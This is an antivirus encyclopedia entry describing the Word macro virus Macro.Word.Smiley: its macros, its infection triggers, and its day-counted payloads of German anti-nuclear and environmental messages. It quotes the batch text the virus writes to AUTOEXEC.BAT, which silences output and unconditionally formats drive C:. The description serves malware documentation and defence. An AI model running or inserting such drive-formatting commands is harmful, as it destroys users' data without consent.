|
|
Macro.Word.Smile Viruses Information
| Name: |
Macro.Word.Smile |
| Category: |
Viruses |
| Description:
|
Details
Macro.Word.Smiley
This is an encrypted Word macro virus. It contains 8 macros in both NORMAL.DOT and infected files:
Timer, AutoExec, AutoExit, AutoOpen, DateiSpeichern, DateiSpeichernUnter,
DateiDrucken, DateiDruckenStandard
On AutoOpen the virus infects the system, on saving a file (DateiSpeichern, DateiSpeichernUnter) the virus infects it.
On AutoExec the virus creates the parameter "Smiley=" in WIN.INI file in [windows] section, and writes current date to there. On each start the virus checks that parameter, and on 14th day after infection sets new values for menu Tools/Options/UserInfo:
Name: Smiley Corporation
Initials: SC
Address: Greenpeace
These data then will be written to any document while editing.
The virus deletes menu items if they exist:
Datei/Makroall
Datei/Dokumentvorlage...
Ansicht/Symbolleisten...
Extras/Anpassen...
On 56th day the virus overwrites C:AUTOEXEC.BAT with the text that on execution will display the messages and format the hard drive:
@ECHO OFF
CLS
ECHO Achtung !!! Stoppt alle Atomversuche !!!
Atomversuche bedeuten unseren sicheren Tod !!!
ECHO Achtung !!! Stoppt die Abholzung der Tropenwälder !!!
Kauft nie Gegenstände aus Tropenholz !!!
ECHO Achtung !!! Stoppt den Treibhauseffekt !!!
Er führt zu einer tödlichen Klimaveränderung !!!
ECHO.
ECHO (C) Smiley Corporation
ECHO.
ECHO !!! ABER JETZT IST ES ZU SPÄT !!!
ECHO.
CTTY NUL
C:DOSFORMAT.COM C: /U /AUTOTEST
C:WINDOWSCOMMANDFORMAT.COM C: /U /AUTOTEST
On 28th day the virus activates its Timer macro and calls it once per minute. On each call this macro creates the Toolbar button "Smiley" that displays one of the texts:
ACHTUNG !!! STOPPT ALLE ATOMVERSUCHE !!!
ATOMVERSUCHE BEDEUTEN UNSEREN SICHEREN TOD !!!
ACHTUNG !!! STOPPT DIE ABHOLZUNG DER TROPENWÄlDER !!!
KAUFT NIE GEGENSTÄNDE AUS TROPENHOLZ !!!
ACHTUNG !!! STOPPT DEN TREIBHAUSEFFEKT !!!
ER FÜHRT ZU EINER TÖDLICHEN KLIMAVERÄNDERUNG !!!
On AutoExit the virus displays the text: Achtung !!! Stoppt alle Atomversuche !!! Atomversuche bedeuten unseren sicheren Tod !!! Achtung !!! Stoppt die Abholzung der Tropenwälder !!! Kauft nie Gegenstände aus Tropenholz !!! Achtung !!! Stoppt den Treibhauseffekt !!! Er führt zu einer tödlichen Klimaveränderung !!! © Smiley Corporation On printing (DateiSpeichern and DateiDruckenStandard) the virus adds the same text to the end of document. |
Top Viruses Visited Pages:
Invader. - 239 visits
not-a-virus:RiskWare.Tool.RegPatch. - 72 visits
Worm.P2P.Harex. - 66 visits
not-a-virus:RemoteAdmin.Win32.RAdmin.2 - 60 visits
Small.58. - 56 visits
Coito.64 - 54 visits
I-Worm.Mapson. - 48 visits
Win16.Klon.1177 - 42 visits
Win32.Hidra - 42 visits
Marine.500 - 35 visits
Random Viruses Pages:
Kthulhu.51
Sova.406
Parasite Famil
Win32.Cafe
Macro.Word.Ato
Macro.Word97.Trojan.Thie
Asahi Famil
AD.13
Net-Worm.Win32.Mytob.c
Ha
|
|
